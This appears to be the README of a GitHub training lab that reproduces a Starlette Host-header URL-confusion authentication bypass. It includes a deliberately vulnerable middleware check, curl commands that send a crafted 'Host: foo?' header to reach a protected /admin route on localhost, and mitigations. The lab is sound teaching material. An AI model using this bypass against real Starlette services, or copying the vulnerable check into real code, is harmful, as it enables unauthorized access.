xtremebeing/starlette-host-header-lab

GitHub: xtremebeing/starlette-host-header-lab

Stars: 1 | Forks: 0

# Starlette Host-Header URL Confusion Lab (X41-2026-002) A self-contained, containerized training lab reproducing the Starlette authentication-bypass vulnerability disclosed by X41 D-Sec. - **Advisory:** [X41-2026-002](https://x41-dsec.de/lab/advisories/x41-2026-002-starlette/) - **GHSA:** GHSA-86qp-5c8j-p5mr - **CWE:** 436 — Interpretation Conflict / Untrusted Input in Function Call - **CVSS:** 7.0 (High) - **Affected:** Starlette `>= 0.8.3`, `< 1.0.1` (lab pins `0.37.2`) - **Fixed in:** Starlette `1.0.1` ## The vulnerability in one paragraph Starlette dispatches a request to a route using the raw ASGI `scope["path"]`, but it reconstructs `request.url` by string-formatting the client-supplied `Host` header into `"{scheme}://{host}{path}"` — **without validating the Host header** against RFC 9112 §3.2. Because URL metacharacters (`?`, `/`, `#`) are allowed straight through, an attacker can make the *reconstructed* path differ from the *routed* path. Any security check written against `request.url.path` can then be tricked while the router still reaches the protected handler. ### Why the PoC works The vulnerable middleware allows the request only when `request.url.path` is `/` or empty: if request.url.path in ("/", ""): return await call_next(request) # allowed return PlainTextResponse("Forbidden", status_code=403) Send `Host: foo?` against `GET /admin`: | Component | Value used | |---------------------------|-------------------------------------| | Router (`scope["path"]`) | `/admin` → dispatches `admin()` | | `request.url` | `http://foo?/admin` | | `request.url.path` | `""` → passes the auth check ✅ | The `?` turns everything after it into the *query string*, so the parsed path is empty. Auth sees an empty path and waves it through; the router still serves `/admin`. **Bypass achieved.** ## Running the lab Requires Docker + Docker Compose. docker compose up --build Two services start: | Service | URL | Behaviour | |--------------|-------------------------|------------------------------| | `vulnerable` | http://localhost:8000 | bypassable | | `fixed` | http://localhost:8001 | mitigated (two ways) | ### Exploit it # Blocked normally: curl -i http://localhost:8000/admin # 403 Forbidden # Bypass via Host header injection: curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...} Or run the guided PoC script: ./exploit/exploit.sh # attacks :8000 (succeeds) ./exploit/exploit.sh 8001 # attacks :8001 (fails — fixed) The vulnerable `/admin` handler returns a JSON body that makes the confusion visible — note how `scope_path` and `reconstructed_path` disagree: { "secret": "FLAG{host_header_url_confusion}", "scope_path": "/admin", "reconstructed_url": "http://foo?/admin", "reconstructed_path": "", "host_header": "foo?" } ## How it's fixed See [`fixed/fixed_app.py`](fixed/fixed_app.py). Two independent mitigations: 1. **Use the authoritative value.** Make the auth decision on `request.scope["path"]` — the same raw path the router uses — instead of the reconstructed `request.url.path`. 2. **Defense in depth.** `TrustedHostMiddleware` rejects unexpected/malformed `Host` headers before any application logic runs, mirroring what an RFC-compliant reverse proxy (nginx/Apache) does upstream. The real-world fix is simply **upgrade to Starlette ≥ 1.0.1**, which validates the Host header during URL reconstruction. ## Discussion prompts for engineers 1. Where else in a typical stack is a value *reconstructed* from untrusted input and then trusted? (Hint: SSRF allow-lists, OAuth `redirect_uri`, cache keys, password-reset links built from `Host`.) 2. Why is "block the bad path" (`/admin`) more fragile here than "decide on the routed endpoint"? What if routing is case-insensitive or has trailing-slash redirects? 3. This is CWE-436 (interpretation conflict). What other famous bugs share this shape? (HTTP request smuggling, Unicode normalization auth bypass, the `0.0.0.0`-day.) ## Files starlette-host-header-lab/ ├── app/vulnerable_app.py # the deliberately vulnerable service ├── fixed/fixed_app.py # mitigated service for comparison ├── exploit/exploit.sh # guided proof-of-concept ├── requirements.txt # pins Starlette 0.37.2 (vulnerable) ├── Dockerfile ├── docker-compose.yml └── README.md